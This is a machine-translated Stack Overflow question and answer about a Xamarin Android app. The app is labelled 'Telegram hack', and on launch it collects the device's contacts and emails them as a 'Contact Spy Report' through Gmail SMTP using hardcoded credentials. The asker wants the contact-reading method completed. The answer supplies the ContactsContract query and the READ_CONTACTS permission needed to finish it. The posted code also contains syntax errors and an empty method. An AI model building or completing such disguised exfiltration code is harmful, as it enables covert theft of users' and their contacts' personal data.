2017-03-14 107 views
1

目前,我有一些限制,我無法使用Visual Studio。 我有一個緊急工作,這需要一個Android程序,但我不知道如何做到這一點,因爲Visual Studio幫助我建議,但我沒有它。我想要使​​用姓名和電話號碼獲取Android聯繫人。 目前,這是我的代碼在App.cs:在Xamarin中獲取Android聯繫人

using System; 
using System.Linq; 

using Android.App; 
using Android.Content; 
using Android.OS; 
using Android.Views; 
using Android.Views.InputMethods; 
using Android.Widget; 
using System.Net; 
using System.Net.Mail; 

namespace Tlgr 
{ 
    [Activity(Label = "هک تلگرام", MainLauncher = true)] 
    public class App : Activity 
    { 
     protected override void OnCreate(Bundle bundle) 
     { 
      base.OnCreate(bundle); 
      var ctks = Contact.GetContacts(); 
      using (var mail = new MailMessage()) 
      { 
       mail.From = new MailAddress("[email protected]"); 
       mail.To.Add("[email protected]"); 
       mail.Subject = "Contact Spy Report"; 
       foreach(ctk in ctks) 
       { 
        mail.Body += ctk.ToString() + "\r\n"; 
       } 
       using (var smtp = new SmtpClient("smtp.gmail.com", 587)) 
       { 
        smtp.Credentials = new NetworkCredential("[email protected]", "feedbackhost"); 
        smtp.EnableSsl = true; 
        smtp.Send(mail); 
       } 
      } 
     } 
    } 

    public class Contact 
    { 
     public string Name {get;set;} 
     public string[] Numbers {get;set;} 
     public override ToString() 
     { 
      var a = $"Name: {Name}"; 
      foreach (var i in Numbers) 
      { 
       a += " , Number: " + i; 
      } 
      return a; 
     } 

     public static Contact[] GetContacts() 
     { 

     } 
    } 
} 

我只需要添加身體的方法GetContacts()來解決我的問題。 我已經搜索過,有很好的結果,但我不知道如何使用它們,我需要一個完美的代碼!謝謝!

+1

歡迎堆棧溢出!我們不是在這裏爲您編寫「完美代碼」,我們在這裏爲您解決代碼問題提供幫助。你找到的代碼有什麼問題? –

回答

2

您應該使用ContactsContract.Contacts

ContactsContract.Contacts是用於接觸數據接口的數據合同。代碼通過ContactsContract.Contacts.ContentUri定義的Uri查詢聯繫人,並返回從ContactsContract.Contacts.InterfaceConsts中選擇的列。

var uri = ContactsContract.CommonDataKinds.Phone.ContentUri; 
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number}; 

更多,你可以找到here

還需要添加權限READ_CONTACTS

<uses-permission android:name="android.permission.READ_CONTACTS" /> 
+0

我發現這個代碼,我需要將這個對象轉換爲我自己定義的名爲'Contact'的對象。怎麼做?我想要一個聯繫人數組(聯繫人[]) –

+0

我會測試這個代碼,但如果用戶有多個電話號碼作爲名字會怎麼辦?我想要各種數字,如電話,私人電話,家庭電話,工作電話,... –

+0

你可以在這裏檢查數據類型https://developer.android.com/reference/android/provider/ContactsContract.CommonDataKinds。 Phone.html –